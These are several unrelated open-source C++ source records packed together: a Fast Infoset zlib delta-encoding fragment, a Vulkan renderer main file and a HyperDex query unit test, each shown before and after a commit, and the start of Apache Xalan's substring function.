length\n\t\tint length = static_cast(size*4);\n\t\tint length_reversed = FI::Tools::reverseBytes(&length);\n\t\ts = reinterpret_cast (&length_reversed);\n octets.insert(octets.end(), s, s+3);\n\n\t\t\/\/ Put the number of floats\n\t\tint numFloats = static_cast(size);\n\t\tint numFloats_reversed = FI::Tools::reverseBytes(&numFloats);;\n\t\ts = reinterpret_cast (&numFloats_reversed);\n octets.insert(octets.end(), s, s+3);\n \/\/octets.insert(octets.end(), s[0], s[3]);\n\t\t\/\/octets.append(s, 4);\n\n\t\tfor (i = 0; i < compressedSize; i++)\n\t\t{\n\t\t\tunsigned char c = compressedData[i];\n octets.push_back(c);\n\t\t}\n\t\tdelete[] compressedData;\n\t\tdelete[] bytes;\n\t}\n\n\tstd::string DeltazlibIntArrayAlgorithm::decodeToString(const FI::NonEmptyOctetString &octets) const\n\t{\n\t\tstd::vector intArray;\n\t\tDeltazlibIntArrayAlgorithm::decodeToIntArray(octets, intArray);\n\n\t\tstd::stringstream ss;\n\t\tstd::vector::const_iterator I;\n\t\tfor(I = intArray.begin(); I != intArray.end() -1; I++)\n\t\t{\n\t\t\tss << (*I) << \" \";\n\t\t}\n\t\tss << (*I);\n\t\treturn ss.str();\n\t}\n\n\tvoid DeltazlibIntArrayAlgorithm::decodeToIntArray(const FI::NonEmptyOctetString &octets, std::vector &vec)\n\t{\n\t\tconst unsigned char* pStr = &octets.front();\n\n\t\tunsigned int length = FI::Tools::readUInt((unsigned char*)pStr);\n\t\tunsigned char span = octets[4];\n\n\t\tstd::vector temp_result(length*4);\n uLong sourceLen = static_cast(octets.size()-5);\n\t\tuLong destSize = static_cast(temp_result.size());\n\t\tconst Bytef *source = (const Bytef *)(pStr + 5);\n\n int result_code = uncompress(&temp_result.front(), &destSize, source, sourceLen);\n if (result_code != Z_OK) {\n std::stringstream ss;\n ss << \"Error while decoding DeltazlibIntArrayAlgorithm. ZLIB error code: \" << result_code;\n throw X3DParseException(ss.str());\n }\n\t\tstd::vector result(length);\n\n\t\tBytef* pRes = &temp_result.front();\n\t\tfor(unsigned int i = 0; i < length; i++)\n\t\t{\n\t\t\tresult[i] = FI::Tools::readUInt(pRes) -1;\n\t\t\tif (span && i >= span)\n\t\t\t\tresult[i] += result[i-span];\n\t\t\tpRes+=4;\n\t\t}\n\t\tstd::swap(result, vec);\n\t}\n\n\tvoid DeltazlibIntArrayAlgorithm::encode(const int* values, size_t size, FI::NonEmptyOctetString &octets, bool isImage)\n\t{\n\t\t\/\/ compute delta\n\t\tchar span = 0;\n\t\tsize_t i = 0;\n\t\tint f; unsigned char *p;\n\t\tstd::vector deltas;\n\n\t\tif (isImage)\n\t\t{\n\t\t\tspan = 0;\n\t\t\tfor(i = 0; i < size; i++)\n\t\t\t{\n\t\t\t\tint v = 1 + (values[i]);\n\t\t\t\tint *vp = reinterpret_cast(&v);\n\t\t\t\tf = FI::Tools::reverseBytes(vp);\n\t\t\t\tp = reinterpret_cast (&f);\n\t\t\t\tdeltas.push_back(p[0]);\n\t\t\t\tdeltas.push_back(p[1]);\n\t\t\t\tdeltas.push_back(p[2]);\n\t\t\t\tdeltas.push_back(p[3]);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tif (values[i] == -1)\n\t\t\t\t{\n\t\t\t\t\tspan = static_cast(i) + 1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!span) span = 4;\n\n\t\t\tfor(i = 0; i < static_cast(span); i++)\n\t\t\t{\n\t\t\t\tint v = 1 + values[i];\n\t\t\t\tint *vp = reinterpret_cast(&v);\n\t\t\t\tf = FI::Tools::reverseBytes(vp);\n\n\t\t\t\tp = reinterpret_cast (&f);\n\t\t\t\tdeltas.push_back(p[0]);\n\t\t\t\tdeltas.push_back(p[1]);\n\t\t\t\tdeltas.push_back(p[2]);\n\t\t\t\tdeltas.push_back(p[3]);\n\t\t\t}\n\t\t\tfor(i = span; i < size; i++)\n\t\t\t{\n\t\t\t\tint v = 1 + (values[i] - values[i-span]);\n\t\t\t\tf = FI::Tools::reverseBytes(&v);\n\n\t\t\t\tp = reinterpret_cast (&f);\n\t\t\t\tdeltas.push_back(p[0]);\n\t\t\t\tdeltas.push_back(p[1]);\n\t\t\t\tdeltas.push_back(p[2]);\n\t\t\t\tdeltas.push_back(p[3]);\n\t\t\t}\n\t\t}\n\n\t\tunsigned long compressedSize = static_cast(deltas.size() + ceil(deltas.size()*0.001)) + 12;\n\t\tBytef* compressedData = new Bytef[compressedSize];\n\n\t\t\/\/ Call zlib's compress function.\n\t\tif(compress2(compressedData, &compressedSize, reinterpret_cast(&deltas[0]), static_cast(deltas.size()), Z_DEFAULT_COMPRESSION) != Z_OK)\n\t\t{\n\t\t\tthrow X3DParseException(\"Error while encoding DeltazlibIntArrayAlgorithm\");\n\t\t}\n\n\t\tint size32 = static_cast(size);\n\t\tint size32_reversed = FI::Tools::reverseBytes(&size32);\n\t\tchar *s = reinterpret_cast (&size32_reversed);\n\n\t\toctets.insert(octets.begin(), s, s+4);\n\t\toctets.push_back(span);\n\n\t\tfor (i = 0; i < compressedSize; i++)\n\t\t{\n\t\t\toctets.push_back(compressedData[i]);\n\t\t}\n\t\tdelete[] compressedData;\n\n\t}\n}\n<|endoftext|>"} {"text":"#include \"stdafx.h\"\n#include \"helpers.h\"\n#include \"render_to_window.h\"\n\nstatic VkBool32 debug_report_callback(\n VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity,\n VkDebugUtilsMessageTypeFlagsEXT messageTypes,\n const VkDebugUtilsMessengerCallbackDataEXT* pCallbackData,\n void* pUserData)\n{\n std::cerr << pCallbackData->pMessage << std::endl;\n return false;\n}\n\nstatic std::optional create_debug_report_callback(vk::Instance instance)\n{\n#if _DEBUG\n auto info = vk::DebugUtilsMessengerCreateInfoEXT()\n .setMessageSeverity(\n vk::DebugUtilsMessageSeverityFlagBitsEXT::eError|\n vk::DebugUtilsMessageSeverityFlagBitsEXT::eWarning\n )\n .setMessageType(\n vk::DebugUtilsMessageTypeFlagBitsEXT::eGeneral|\n vk::DebugUtilsMessageTypeFlagBitsEXT::ePerformance|\n vk::DebugUtilsMessageTypeFlagBitsEXT::eValidation\n )\n .setPfnUserCallback(debug_report_callback);\n\n return std::optional { instance.createDebugUtilsMessengerEXTUnique(info, nullptr) };\n#else\n return std::nullopt;\n#endif\n}\n\nstatic vk::UniqueInstance create_instance()\n{\n#if _DEBUG\n std::array layerNames { \"VK_LAYER_KHRONOS_validation\" };\n#else\n std::array layerNames;\n#endif\n\n std::array extensionNames {\n#if _DEBUG\n VK_EXT_DEBUG_UTILS_EXTENSION_NAME,\n#endif\n VK_KHR_SURFACE_EXTENSION_NAME,\n VK_KHR_WIN32_SURFACE_EXTENSION_NAME,\n VK_KHR_GET_PHYSICAL_DEVICE_PROPERTIES_2_EXTENSION_NAME,\n };\n\n auto app_info = vk::ApplicationInfo().setApiVersion(VK_API_VERSION_1_1);\n\n return vk::createInstanceUnique(\n vk::InstanceCreateInfo()\n .setPEnabledLayerNames(layerNames)\n .setPEnabledExtensionNames(extensionNames)\n .setPApplicationInfo(&app_info)\n );\n}\n\nstatic vk::PhysicalDevice get_physical_device(vk::Instance vulkan)\n{\n auto devices = vulkan.enumeratePhysicalDevices();\n assert(devices.size() > 0);\n\n auto device = devices[0];\n auto props = device.getProperties();\n std::cout << \"Using physical device \" << props.deviceName << std::endl;\n return device;\n}\n\nstatic vk::UniqueDevice create_device(vk::PhysicalDevice physical_device)\n{\n auto props = physical_device.getQueueFamilyProperties();\n assert((props[0].queueFlags & vk::QueueFlagBits::eGraphics) == vk::QueueFlagBits::eGraphics);\n\n std::array priorities { 0.f };\n auto queueInfo = vk::DeviceQueueCreateInfo()\n .setQueuePriorities(priorities);\n\n std::array extensionNames {\n VK_KHR_SWAPCHAIN_EXTENSION_NAME,\n VK_KHR_GET_MEMORY_REQUIREMENTS_2_EXTENSION_NAME,\n VK_NV_RAY_TRACING_EXTENSION_NAME,\n };\n\n auto features = vk::PhysicalDeviceFeatures()\n .setMultiDrawIndirect(true)\n .setDrawIndirectFirstInstance(true)\n .setShaderClipDistance(true)\n .setShaderCullDistance(true);\n\n return physical_device.createDeviceUnique(\n vk::DeviceCreateInfo()\n .setQueueCreateInfoCount(1)\n .setPQueueCreateInfos(&queueInfo)\n .setPEnabledExtensionNames(extensionNames)\n .setPEnabledFeatures(&features)\n );\n}\n\nglm::vec3 std_vector_to_glm_vec3(const std::vector& vector)\n{\n return glm::vec3(vector[0], vector[1], vector[2]);\n}\n\nVULKAN_HPP_DEFAULT_DISPATCH_LOADER_DYNAMIC_STORAGE\n\nint main(int argc, char** argv)\n{\n cxxopts::Options options(\"VulkanRenderer\", \"Vulkan renderer\");\n options.add_options()\n (\"model\", \"PLY model to render. File dialog will be shown if ommitted.\", cxxopts::value(), \"path\")\n (\"image\", \"PNG image to save rendering to (overwrites existing). No window will be created if specified.\", cxxopts::value(), \"path\")\n (\"camera_position\", \"When using --image, specifies the camera position.\", cxxopts::value>(), \"x y z\")\n (\"camera_up\", \"When using --image, specifies the camera up vector.\", cxxopts::value>(), \"x y z\")\n (\"help\", \"Show help\")\n ;\n\n cxxopts::ParseResult result = options.parse(argc, argv);\n\n if (result[\"help\"].count() > 0) {\n std::cout << options.help();\n return EXIT_SUCCESS;\n }\n\n std::string model_path;\n auto model_path_option = result[\"model\"];\n\n if (model_path_option.count() == 1)\n {\n model_path = model_path_option.as();\n }\n else\n {\n auto pattern = \"*.ply\";\n auto model_path_ptr = tinyfd_openFileDialog(\"Open 3D model\", nullptr, 1, &pattern, nullptr, 0);\n if (!model_path_ptr)\n {\n return EXIT_FAILURE;\n }\n model_path = model_path_ptr;\n }\n\n vk::DynamicLoader dl;\n VULKAN_HPP_DEFAULT_DISPATCHER.init(dl.getProcAddress(\"vkGetInstanceProcAddr\"));\n\n auto instance = create_instance();\n VULKAN_HPP_DEFAULT_DISPATCHER.init(instance.get());\n\n auto callback = create_debug_report_callback(instance.get());\n auto physical_device = get_physical_device(instance.get());\n\n auto device = create_device(physical_device);\n VULKAN_HPP_DEFAULT_DISPATCHER.init(device.get());\n\n auto image_path_option = result[\"image\"];\n if (image_path_option.count() == 1)\n {\n auto camera_position_option = result[\"camera_position\"];\n auto camera_position = camera_position_option.count() == 3\n ? std_vector_to_glm_vec3(camera_position_option.as>())\n : glm::vec3(0.f, 0.f, 2.f);\n\n auto camera_up_vector = result[\"camera_up\"];\n auto camera_up = camera_up_vector.count() == 3\n ? std_vector_to_glm_vec3(camera_up_vector.as>())\n : glm::vec3(0.f, -1.f, 0.f);\n\n std::cout << \"Rendering to image...\" << std::endl;\n render_to_image(physical_device, device.get(), model_path, image_path_option.as(), camera_position, camera_up);\n }\n else\n {\n std::cout << \"Rendering to window...\" << std::endl;\n render_to_window(instance.get(), physical_device, device.get(), model_path);\n }\n\n return EXIT_SUCCESS;\n}\nMake validation messages more readable#include \"stdafx.h\"\n#include \"helpers.h\"\n#include \"render_to_window.h\"\n\nstatic VkBool32 debug_report_callback(\n VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity,\n VkDebugUtilsMessageTypeFlagsEXT messageTypes,\n const VkDebugUtilsMessengerCallbackDataEXT* pCallbackData,\n void* pUserData)\n{\n std::cerr << pCallbackData->pMessage << std::endl << std::endl;\n return false;\n}\n\nstatic std::optional create_debug_report_callback(vk::Instance instance)\n{\n#if _DEBUG\n auto info = vk::DebugUtilsMessengerCreateInfoEXT()\n .setMessageSeverity(\n vk::DebugUtilsMessageSeverityFlagBitsEXT::eError|\n vk::DebugUtilsMessageSeverityFlagBitsEXT::eWarning\n )\n .setMessageType(\n vk::DebugUtilsMessageTypeFlagBitsEXT::eGeneral|\n vk::DebugUtilsMessageTypeFlagBitsEXT::ePerformance|\n vk::DebugUtilsMessageTypeFlagBitsEXT::eValidation\n )\n .setPfnUserCallback(debug_report_callback);\n\n return std::optional { instance.createDebugUtilsMessengerEXTUnique(info, nullptr) };\n#else\n return std::nullopt;\n#endif\n}\n\nstatic vk::UniqueInstance create_instance()\n{\n#if _DEBUG\n std::array layerNames { \"VK_LAYER_KHRONOS_validation\" };\n#else\n std::array layerNames;\n#endif\n\n std::array extensionNames {\n#if _DEBUG\n VK_EXT_DEBUG_UTILS_EXTENSION_NAME,\n#endif\n VK_KHR_SURFACE_EXTENSION_NAME,\n VK_KHR_WIN32_SURFACE_EXTENSION_NAME,\n VK_KHR_GET_PHYSICAL_DEVICE_PROPERTIES_2_EXTENSION_NAME,\n };\n\n auto app_info = vk::ApplicationInfo().setApiVersion(VK_API_VERSION_1_1);\n\n return vk::createInstanceUnique(\n vk::InstanceCreateInfo()\n .setPEnabledLayerNames(layerNames)\n .setPEnabledExtensionNames(extensionNames)\n .setPApplicationInfo(&app_info)\n );\n}\n\nstatic vk::PhysicalDevice get_physical_device(vk::Instance vulkan)\n{\n auto devices = vulkan.enumeratePhysicalDevices();\n assert(devices.size() > 0);\n\n auto device = devices[0];\n auto props = device.getProperties();\n std::cout << \"Using physical device \" << props.deviceName << std::endl;\n return device;\n}\n\nstatic vk::UniqueDevice create_device(vk::PhysicalDevice physical_device)\n{\n auto props = physical_device.getQueueFamilyProperties();\n assert((props[0].queueFlags & vk::QueueFlagBits::eGraphics) == vk::QueueFlagBits::eGraphics);\n\n std::array priorities { 0.f };\n auto queueInfo = vk::DeviceQueueCreateInfo()\n .setQueuePriorities(priorities);\n\n std::array extensionNames {\n VK_KHR_SWAPCHAIN_EXTENSION_NAME,\n VK_KHR_GET_MEMORY_REQUIREMENTS_2_EXTENSION_NAME,\n VK_NV_RAY_TRACING_EXTENSION_NAME,\n };\n\n auto features = vk::PhysicalDeviceFeatures()\n .setMultiDrawIndirect(true)\n .setDrawIndirectFirstInstance(true)\n .setShaderClipDistance(true)\n .setShaderCullDistance(true);\n\n return physical_device.createDeviceUnique(\n vk::DeviceCreateInfo()\n .setQueueCreateInfoCount(1)\n .setPQueueCreateInfos(&queueInfo)\n .setPEnabledExtensionNames(extensionNames)\n .setPEnabledFeatures(&features)\n );\n}\n\nglm::vec3 std_vector_to_glm_vec3(const std::vector& vector)\n{\n return glm::vec3(vector[0], vector[1], vector[2]);\n}\n\nVULKAN_HPP_DEFAULT_DISPATCH_LOADER_DYNAMIC_STORAGE\n\nint main(int argc, char** argv)\n{\n cxxopts::Options options(\"VulkanRenderer\", \"Vulkan renderer\");\n options.add_options()\n (\"model\", \"PLY model to render. File dialog will be shown if ommitted.\", cxxopts::value(), \"path\")\n (\"image\", \"PNG image to save rendering to (overwrites existing). No window will be created if specified.\", cxxopts::value(), \"path\")\n (\"camera_position\", \"When using --image, specifies the camera position.\", cxxopts::value>(), \"x y z\")\n (\"camera_up\", \"When using --image, specifies the camera up vector.\", cxxopts::value>(), \"x y z\")\n (\"help\", \"Show help\")\n ;\n\n cxxopts::ParseResult result = options.parse(argc, argv);\n\n if (result[\"help\"].count() > 0) {\n std::cout << options.help();\n return EXIT_SUCCESS;\n }\n\n std::string model_path;\n auto model_path_option = result[\"model\"];\n\n if (model_path_option.count() == 1)\n {\n model_path = model_path_option.as();\n }\n else\n {\n auto pattern = \"*.ply\";\n auto model_path_ptr = tinyfd_openFileDialog(\"Open 3D model\", nullptr, 1, &pattern, nullptr, 0);\n if (!model_path_ptr)\n {\n return EXIT_FAILURE;\n }\n model_path = model_path_ptr;\n }\n\n vk::DynamicLoader dl;\n VULKAN_HPP_DEFAULT_DISPATCHER.init(dl.getProcAddress(\"vkGetInstanceProcAddr\"));\n\n auto instance = create_instance();\n VULKAN_HPP_DEFAULT_DISPATCHER.init(instance.get());\n\n auto callback = create_debug_report_callback(instance.get());\n auto physical_device = get_physical_device(instance.get());\n\n auto device = create_device(physical_device);\n VULKAN_HPP_DEFAULT_DISPATCHER.init(device.get());\n\n auto image_path_option = result[\"image\"];\n if (image_path_option.count() == 1)\n {\n auto camera_position_option = result[\"camera_position\"];\n auto camera_position = camera_position_option.count() == 3\n ? std_vector_to_glm_vec3(camera_position_option.as>())\n : glm::vec3(0.f, 0.f, 2.f);\n\n auto camera_up_vector = result[\"camera_up\"];\n auto camera_up = camera_up_vector.count() == 3\n ? std_vector_to_glm_vec3(camera_up_vector.as>())\n : glm::vec3(0.f, -1.f, 0.f);\n\n std::cout << \"Rendering to image...\" << std::endl;\n render_to_image(physical_device, device.get(), model_path, image_path_option.as(), camera_position, camera_up);\n }\n else\n {\n std::cout << \"Rendering to window...\" << std::endl;\n render_to_window(instance.get(), physical_device, device.get(), model_path);\n }\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"\/\/ Copyright (c) 2011, Cornell University\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of HyperDex nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ Google Test\n#include \n\n\/\/ HyperDex\n#include \n\n#pragma GCC diagnostic ignored \"-Wswitch-default\"\n\nnamespace\n{\n\n\/\/ Create and destroy queries of various sizes.\nTEST(QueryTest, CtorAndDtor)\n{\n for (size_t i = 0; i < 65536; ++i)\n {\n hyperdex::query q(i);\n }\n}\n\n\/\/ Create a query and set\/unset the values while testing that it still matches\n\/\/ the row.\nTEST(QueryTest, SetAndUnset)\n{\n hyperdex::query q(10);\n std::vector row(10, \"value\");\n\n for (size_t i = 0; i < 10; ++i)\n {\n EXPECT_TRUE(q.matches(row));\n q.set(i, \"value\");\n }\n\n EXPECT_TRUE(q.matches(row));\n\n for (size_t i = 0; i < 10; ++i)\n {\n EXPECT_TRUE(q.matches(row));\n q.set(i, \"value\");\n }\n\n EXPECT_TRUE(q.matches(row));\n}\n\nTEST(QueryTest, Clear)\n{\n hyperdex::query q(2);\n std::vector r;\n\n r.push_back(\"key\");\n r.push_back(\"val\");\n EXPECT_TRUE(q.matches(r));\n q.set(0, \"not-key\");\n q.set(1, \"not-val\");\n EXPECT_FALSE(q.matches(r));\n q.clear();\n EXPECT_TRUE(q.matches(r));\n}\n\n\/\/ Test non-matches\nTEST(QueryTest, NegativeMatch)\n{\n hyperdex::query q(2);\n std::vector r;\n\n r.push_back(\"key\");\n r.push_back(\"val\");\n EXPECT_TRUE(q.matches(r));\n q.set(0, \"not-key\");\n EXPECT_FALSE(q.matches(r));\n q.unset(0);\n EXPECT_TRUE(q.matches(r));\n q.set(1, \"not-val\");\n EXPECT_FALSE(q.matches(r));\n}\n\n\/\/ If we try to set out of bounds we fail an assertion.\nTEST(QueryTest, SetDeathTest)\n{\n hyperdex::query q(5);\n\n ASSERT_DEATH(\n q.set(5, \"out of bounds\");\n , \"Assertion\");\n}\n\n\/\/ If we try to unset out of bounds we fail an assertion.\nTEST(QueryTest, UnsetDeathTest)\n{\n hyperdex::query q(5);\n\n ASSERT_DEATH(\n q.unset(5);\n , \"Assertion\");\n}\n\n\/\/ If we try to match with improper arity we fail an assertion.\nTEST(QueryTest, MatchDeathTest)\n{\n hyperdex::query q(5);\n\n ASSERT_DEATH(\n q.matches(std::vector(4));\n , \"Assertion\");\n}\n\n} \/\/ namespace\nCut down the runtime of the QueryTest cases.\/\/ Copyright (c) 2011, Cornell University\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of HyperDex nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ Google Test\n#include \n\n\/\/ HyperDex\n#include \n\n#pragma GCC diagnostic ignored \"-Wswitch-default\"\n\nnamespace\n{\n\n\/\/ Create and destroy queries of various sizes.\nTEST(QueryTest, CtorAndDtor)\n{\n for (size_t i = 1; i < 65536; i *= 2)\n {\n hyperdex::query q(i);\n }\n}\n\n\/\/ Create a query and set\/unset the values while testing that it still matches\n\/\/ the row.\nTEST(QueryTest, SetAndUnset)\n{\n hyperdex::query q(10);\n std::vector row(10, \"value\");\n\n for (size_t i = 0; i < 10; ++i)\n {\n EXPECT_TRUE(q.matches(row));\n q.set(i, \"value\");\n }\n\n EXPECT_TRUE(q.matches(row));\n\n for (size_t i = 0; i < 10; ++i)\n {\n EXPECT_TRUE(q.matches(row));\n q.set(i, \"value\");\n }\n\n EXPECT_TRUE(q.matches(row));\n}\n\nTEST(QueryTest, Clear)\n{\n hyperdex::query q(2);\n std::vector r;\n\n r.push_back(\"key\");\n r.push_back(\"val\");\n EXPECT_TRUE(q.matches(r));\n q.set(0, \"not-key\");\n q.set(1, \"not-val\");\n EXPECT_FALSE(q.matches(r));\n q.clear();\n EXPECT_TRUE(q.matches(r));\n}\n\n\/\/ Test non-matches\nTEST(QueryTest, NegativeMatch)\n{\n hyperdex::query q(2);\n std::vector r;\n\n r.push_back(\"key\");\n r.push_back(\"val\");\n EXPECT_TRUE(q.matches(r));\n q.set(0, \"not-key\");\n EXPECT_FALSE(q.matches(r));\n q.unset(0);\n EXPECT_TRUE(q.matches(r));\n q.set(1, \"not-val\");\n EXPECT_FALSE(q.matches(r));\n}\n\n\/\/ If we try to set out of bounds we fail an assertion.\nTEST(QueryTest, SetDeathTest)\n{\n hyperdex::query q(5);\n\n ASSERT_DEATH(\n q.set(5, \"out of bounds\");\n , \"Assertion\");\n}\n\n\/\/ If we try to unset out of bounds we fail an assertion.\nTEST(QueryTest, UnsetDeathTest)\n{\n hyperdex::query q(5);\n\n ASSERT_DEATH(\n q.unset(5);\n , \"Assertion\");\n}\n\n\/\/ If we try to match with improper arity we fail an assertion.\nTEST(QueryTest, MatchDeathTest)\n{\n hyperdex::query q(5);\n\n ASSERT_DEATH(\n q.matches(std::vector(4));\n , \"Assertion\");\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * .\n *\/\n#include \"FunctionSubstring.hpp\"\n\n\n\n#include \n\n\n\n#include \"XObjectFactory.hpp\"\n\n\n\nconst XObjectPtr\t\tFunctionSubstring::s_nullXObjectPtr;\n\n\n\nFunctionSubstring::FunctionSubstring()\n{\n}\n\n\n\nFunctionSubstring::~FunctionSubstring()\n{\n}\n\n\n\n\/*\n * Get the value for the start index (C-style, not XPath).\n *\/\ninline XalanDOMString::size_type\ngetStartIndex(double\ttheSecondArgValue)\n{\n\t\/\/ We always subtract 1 for C-style index, since XPath indexes from 1.\n\t\n\t\/\/ Anything less than, or equal to 1 is 0.\n\tif (theSecondArgValue <= 1)\n\t{\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\treturn XalanDOMString::size_type(DoubleSupport::round(theSecondArgValue)) - 1;\n\t}\n}\n\n\n\n\/*\n * Get the length of the substring.\n *\/\ninline XalanDOMString::size_type\ngetSubstringLength(\n\t\t\tXalanDOMString::size_type\ttheSourceStringLength,\n\t\t\tXalanDOMString::size_type\ttheStartIndex,\n\t\t\tdouble\t\t\t\t\t\ttheThirdArgValue)\n{\n\t\/\/ The last index must be less than theThirdArgValue. Since it has\n\t\/\/ already been rounded, subtracting 1 will do the job.\n\tconst XalanDOMString::size_type\t\ttheLastIndex = XalanDOMString::size_type(theThirdArgValue - 1);\n\n\tif (theLastIndex >= theSourceStringLength)\n\t{\n\t\treturn theSourceStringLength - theStartIndex;\n\t}\n\telse\n\t{\n\t\treturn theLastIndex - theStartIndex;\n\t}\n}\n\n\n\n\/*\n * Get the total of the second and third arguments.\n *\/\ninline double\ngetTotal(\n\t\t\tXalanDOMString::size_type\ttheSourceStringLength,\n\t\t\tdouble\t\t\t\t\t\ttheSecondArgValue,\n\t\t\tconst XObjectPtr&\t\t\targ3)\n{\n\t\/\/ Total the second and third arguments. Ithe third argument is\n\t\/\/ missing, make it the length of the string + 1 (for XPath\n\t\/\/ indexing style).\n\tif (arg3.null() == true)\n\t{\n\t\treturn double(theSourceStringLength + 1);\n\t}\n\telse\n\t{\n\t\tconst double\ttheRoundedValue =\n\t\t\tDoubleSupport::round(theSecondArgValue + arg3->num());\n\n\t\t\/\/ If there's overflow, then we should return the length of the string + 1.\n\t\tif (DoubleSupport::isPositiveInfinity(theRoundedValue) == true)\n\t\t{\n\t\t\treturn double(theSourceStringLength + 1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn theRoundedValue;\n\t\t}\n\t}\n}\n\n\n\nstatic const 